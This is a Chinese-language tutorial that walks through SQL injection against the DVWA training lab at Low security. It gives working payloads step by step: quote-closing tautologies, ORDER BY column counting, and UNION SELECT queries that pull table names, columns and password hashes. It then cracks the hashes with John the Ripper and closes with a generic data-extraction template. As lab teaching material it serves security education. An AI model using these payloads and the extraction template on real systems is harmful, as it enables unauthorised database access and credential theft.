第一部分:SQL 注入概述

什么是 SQL 注入

SQL 注入(SQL Injection)是将恶意的 SQL 语句片段插入到应用程序的输入参数中,让后端数据库误以为这是合法的查询指令并执行它。

简单说:你的输入被当作代码执行了。

正常请求:
  浏览器 → 输入 user_id=1 → 服务器 → SQL: SELECT * FROM users WHERE id='1' → 返回 admin

注入请求:
  浏览器 → 输入 user_id=1' or '1'='1' # → 服务器 → SQL 被篡改 → 返回全部用户数据

为什么 SQL 注入能成立

三个条件同时满足:

  1. 用户输入直接拼接到 SQL 语句中(没有参数化查询)
  2. 输入中的特殊字符('"--#)没有被转义或过滤
  3. 数据库把拼接后的字符串当作 SQL 执行

这三个条件缺一个,注入就不成立。

注入的本质:脱离数据上下文,进入代码上下文

SELECT * FROM users WHERE id = '1'
                                 
                                 └── 后引号(后端写死的)
                                └── 前引号(后端写死的,你的输入从它后面开始)

-- 正常输入时,你的数据在引号里——是"数据"
-- 你的输入里包含 ' 后,你提前闭合了引号——后面的内容进入了"代码"区域
-- 这就是注入的本质

什么是 Payload

Payload = 攻击载荷 = 你精心构造的那段输入字符串。

正常输入:   1                  ← 只是数据
Payload:   1' or '1'='1' #    ← 数据 + SQL 代码 + 注释符

Payload 的三个组成部分:

1'             ← 正常数据 + 闭合符(跳出数据上下文)
or '1'='1'     ← 注入的 SQL 代码(攻击逻辑)
#              ← 注释符(清理尾部,防止语法错误)

三要素:闭合 → 注入 → 注释。

SQL 注入的核心分类

后端 SQL 中参数的类型分为两类:

类型 后端 SQL 写法 特征
数字型 WHERE id = 1(没有引号) 1 or 1=1 直接生效,不需要引号
字符型 WHERE id = '1'(有引号) 需要先闭合引号,再注入逻辑

注入手法分为:

手法 适用场景 核心思路
联合查询(UNION) 页面显示查询结果 用 UNION SELECT 偷其他表的数据
报错注入 页面显示错误信息 通过报错函数(extractvalue/updatexml)把数据带出来
布尔盲注 只有"正常/异常"两种反馈 逐个字符猜解,成立时正常,不成立时异常
时间盲注 完全没有任何反馈 条件成立时延迟(sleep),用响应时间判断
堆叠注入 数据库支持多语句 分隔,执行多条 SQL

第二部分:手工测试——DVWA Low 字符型注入实战

环境信息

  • 靶机: DVWA(Docker 容器,127.0.0.1:8080,SSH 隧道访问)
  • 安全等级: Low
  • 页面: SQL Injection → User ID 输入框
  • 数据库: MariaDB(MySQL 兼容)

第一节:确认注入点

第一步:正常输入——理解功能

输入 1 → First name: admin   Surname: admin
输入 2 → First name: Gordon  Surname: Brown

得到的信息: 输入的是用户 ID,返回的是姓名。后端用 ID 查用户表。

第二步:试探引号——1'

输入 1' → 仍然返回 admin,没报错

得到的信息: 多出的 ' 没让 SQL 崩溃。DVWA Low 可能做了容错,先不急于下结论。

第三步:关键判断——数字型还是字符型

输入 1 or 1=1 → 只返回 admin,没有返回全部用户

这是决定性的一步。 如果后端 SQL 是数字型:

WHERE user_id = 1 or 1=1      or 1=1 被当作代码执行了  返回全部

如果后端 SQL 是字符型:

WHERE user_id = '1 or 1=1'    整个被引号包住,当作字符串  只返回一条

实际结果只返回了一条 → 确认是字符型注入,输入被单引号包裹。

第四步:构造 Payload

既然输入被包在单引号里,Payload 必须做三件事:

1. 闭合前端的前引号
2. 注入永远为真的条件
3. 注释掉后端的多余后引号

构造:

1' or '1'='1' #

还原到后端 SQL:

-- 后端模板:
SELECT first_name, last_name FROM users WHERE user_id = '[输入]'

-- 替换后:
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1' # '
                                                   │  │ │         │  │
                                                   │  │ │         │  └── 被 # 注释吞掉
                                                   │  │ │         └── 注入条件:永远真
                                                   │  │ └── 闭合后端前引号
                                                   │  └── 正常 ID 值
                                                   └── 后端代码写的前引号

结果:返回了全部五个用户(admin、Gordon、Hack、Pablo、Bob)。注入成功。

Payload 三要素总结

闭合:1'        → 用 ' 匹配掉后端写死的前引号,后面的内容不再是"数据"
注入:or '1'='1' → 你写的 SQL 代码,'1'='1' 永远为真,OR 让它作用于所有行
注释:#         → MySQL/MariaDB 注释符,把后端写死的后引号变成无效文本

手工测试决策流程

正常输入(1, 2)
  → 理解功能
  ↓
加引号测试(1')
  → 看是否报错(判断有没有过滤/转义)
  ↓
注入判断符(1 or 1=1)
  ├── 返回全部 → 数字型,直接注入
  ├── 返回一条 → 字符型,用引号闭合
  ├── 报错     → 可能有括号或特殊语法
  └── 空白     → 有过滤,需要绕过
  ↓
构造 Payload(闭合 + 注入 + 注释)
  ↓
注入成功 → 进入数据提取阶段(UNION SELECT 偷表)

第二节:UNION SELECT 联合查询 — 从注入到脱裤

UNION 是什么

正常查询返回一张表。UNION 可以把另一张表拼在下面:

SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT 'hello', 'world'

结果会多出一行——helloworld 出现在页面上。这就是注入数据的原理:用 UNION 把想偷的数据拼到正常查询结果下面。

UNION 的铁律:前后两个 SELECT 的列数必须相等。

第一步:猜列数 — ORDER BY

从 1 开始往上加,加到报错为止,报错前的数字就是列数。

输入:1' order by 1 #    → 正常
输入:1' order by 2 #    → 正常
输入:1' order by 3 #    → 报错:Unknown column '3' in 'order clause'

结论:列数 = 2。 正好对应页面显示的 First name 和 Surname 两列。

第二步:确认显示位置 — UNION SELECT 数字占位

已经知道原始查询返回 2 列。用 union select 在上面注入数据,验证哪些列能显示在页面上:

输入:1' union select 1, 2 #

最终得出的查询:

SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT 1, 2
返回结果:
  第一行:First name: admin   Surname: admin     ← 原始查询的 admin
  第二行:First name: 1       Surname: 2         ← 注入的数据被显示出来了

结论:两列都能显示注入数据。 1 显示在 First name 位置,2 显示在 Surname 位置。

第三步:偷数据库名 — database()

输入:1' union select database(), 2 #
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT database(), 2
返回:First name: dvwa   Surname: 2

数据库名:dvwa 注意第一个 2 的作用——只是占位符,凑够 UNION 要求的 2 列。实际数据从 database() 返回在第一列。

第四步:查所有表名 — information_schema.tables

-- information_schema 是 MySQL/MariaDB 的系统库,存储了所有数据库的元数据
-- information_schema.tables 记录了所有表的信息
-- group_concat() 把多行合并成一行,用逗号分隔
输入:1' union select group_concat(table_name), 2 from information_schema.tables where table_schema=database() #
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT group_concat(table_name), 2
FROM information_schema.tables
WHERE table_schema = database()
返回:First name: guestbook,users   Surname: 2

两个表:guestbookusers 优先查 users——里面大概率有账号密码。

第五步:查 users 表的列名 — information_schema.columns

输入:1' union select group_concat(column_name), 2 from information_schema.columns where table_name='users' #
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT group_concat(column_name), 2
FROM information_schema.columns
WHERE table_name = 'users'
返回:First name: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
       Surname: 2

8 列。核心是 userpassword

第六步:偷密码 hash

输入:1' union select user, password from users #
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT user, password FROM users
返回结果(5 行,点 Submit 依次出现):

user     | password (MD5 hash)
─────────┼──────────────────────────────────
admin    | 5f4dcc3b5aa765d61d8327deb882cf99
gordonb  | e99a18c428cb38d5f260853678922e03
1337     | 8d3533d75ae2c3966d7e0d4fcc69216b
pablo    | 0d107d09f5bbe40cade3de5c71e9e9b7
smithy   | 5f4dcc3b5aa765d61d8327deb882cf99

完整用户表已脱裤。

关于这些 hash

32 位十六进制 → MD5。几条常见弱密码可以一眼认出来:

5f4dcc3b5aa765d61d8327deb882cf99  = password
e99a18c428cb38d5f260853678922e03  = abc123
8d3533d75ae2c3966d7e0d4fcc69216b  = charley
0d107d09f5bbe40cade3de5c71e9e9b7  = letmein

未知 hash 用 John 暴破:

echo '5f4dcc3b5aa765d61d8327deb882cf99' > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt

完整攻击链回顾(DVWA Low SQL Injection 全流程)

┌──────────────────────────────────────────────────────────┐
│  阶段一:注入点探测                                        │
│                                                          │
│  输入    结果          分析                                │
│  ────    ────          ────                               │
│  1       admin        正常                                │
│  2       Gordon       另一个用户,确认功能是 ID→姓名         │
│  1'      admin        没报错,DVWA Low 容错处理             │
│  1 or 1=1  admin      只返回一条 → 被引号包住 → 字符型      │
│  1' or '1'='1' #      全部五条 → 注入成功!                │
│                                                          │
│  结论:字符型 SQL 注入,Payload 三要素生效(闭合/注入/注释)   │
└──────────────────────────────────────────────────────────┘
                           ↓
┌──────────────────────────────────────────────────────────┐
│  阶段二:UNION SELECT 数据提取                              │
│                                                          │
│  操作                      Payload                          │
│  ────                      ───────                          │
│  猜列数                    1' order by N # → N=2           │
│  确认显示位置               1' union select 1,2 #           │
│                           → 两列都能显示注入数据             │
│                                                          │
│  查库名                    1' union select database(),2 #  │
│                           → dvwa                           │
│                                                          │
│  查表名                    1' union select                 │
│                           group_concat(table_name),2      │
│                           from information_schema.tables  │
│                           where table_schema=database() #  │
│                           → guestbook, users              │
│                                                          │
│  查列名                    1' union select                 │
│                           group_concat(column_name),2     │
│                           from information_schema.columns │
│                           where table_name='users' #      │
│                           → user, password 等 8 列         │
│                                                          │
│  偷数据                    1' union select user,password  │
│                           from users #                    │
│                           → 5 个用户的 MD5 hash            │
└──────────────────────────────────────────────────────────┘
                           ↓
┌──────────────────────────────────────────────────────────┐
│  阶段三:Hash 破解                                        │
│                                                          │
│  admin  / password                                       │
│  gordonb / abc123                                        │
│  1337   / charley                                        │
│  pablo  / letmein                                        │
│  smithy / password                                       │
│                                                          │
│  John the Ripper + rockyou.txt 字典暴破                   │
└──────────────────────────────────────────────────────────┘

偷数据的标准顺序(通用模板)

每遇到一个新的 SQL 注入点,按这个顺序逐层挖:

1. database()              → 当前库名
2. information_schema      → 所有表名
3. 目标表的列名              → 找到 user/password 等敏感字段
4. 偷数据                   → UNION SELECT 直接读
5. 其他表同理               → 逐表翻一遍

下一篇:DVWA Medium — 字符转义绕过 & 报错注入